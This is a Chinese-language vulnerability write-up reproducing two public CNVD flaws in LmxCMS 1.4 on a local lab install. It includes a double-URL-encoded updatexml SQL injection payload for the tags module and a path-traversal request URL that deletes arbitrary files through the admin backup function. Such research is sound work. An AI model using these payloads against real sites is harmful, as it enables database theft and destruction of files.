梦想CMS(lmxcms)1.4 简要分析
环境搭建
参考: https://www.bilibili.com/video/BV12U4y1G7iV?t=30.9
源码: http://www.lmxcms.com/down/xitong/

CNVD-2019-05674-前台的SQL注入
https://www.cnvd.org.cn/flaw/show/CNVD-2019-05674
LmxCMS V1.4前台Ta***.cl***.php存在SQL注入漏洞。攻击者可利用漏洞获取数据库敏感信息。
指TagsAction.class.php

这里调用的是系统自己定义的p函数,在common.php中

但是这个p函数过滤的很严,所以考虑在p函数之外绕过
有效的有两个地方:

$name = string::delHtml($data['name']);
$name = urldecode($name);
关于这个delHtml:

调用了strip_tags
效果是:
echo strip_tags("selec<>t"); // select
跟进输出处:




还是添加echo $sql;

所以这里对应的是:/lmxcms1.4/?m=tags&name=a
由于这里有404,报了404之后会发生页面跳转,不方便观察:

由于这儿有Cookie,所以每次对源代码修改后都要重新抓包
payload:/lmxcms1.4/?m=tags&name=a

但是那个delHtml的效果并不好
接下来尝试利用urldecode
正常情况下:
a' or updatexml(0,concat(0x7e,version()),1)#
URL编码两次:

%25%36%31%25%32%37%25%32%30%25%36%66%25%37%32%25%32%30%25%37%35%25%37%30%25%36%34%25%36%31%25%37%34%25%36%35%25%37%38%25%36%64%25%36%63%25%32%38%25%33%30%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%37%36%25%36%35%25%37%32%25%37%33%25%36%39%25%36%66%25%36%65%25%32%38%25%32%39%25%32%39%25%32%63%25%33%31%25%32%39%25%32%33
然后传参:

CNVD-2020-59469-后台---文件删除
https://www.cnvd.org.cn/flaw/show/CNVD-2020-59469

BackdbAction.class.php:

跟进:

发现重写了unlink方法:
public static function unLink($path){
if($path == ROOT_PATH) return;
if(is_file($path)){
if(!@unlink($path)) rewrite::js_back('删除文件失败,请检查'.$path.'文件权限');
return true;
}
}
发现在其他文件中也有使用:

对应的是BasicAction.class.php

回到刚才的unlink:

但是这两个地方删除的文件的后缀都被限制了,一个是.zip,另一个是.sql
再找其他地方:

这个unLink($filepath);,$filename可控,可能是一个利用点,不过利用起来比较麻烦
还有一处:

默认放置位置在file/back目录下
在根目录下新建一个1.txt:

所以:
http://192.168.84.1:8081/lmxcms1.4/admin.php?m=backdb&a=delbackdb&filename=../../1.txt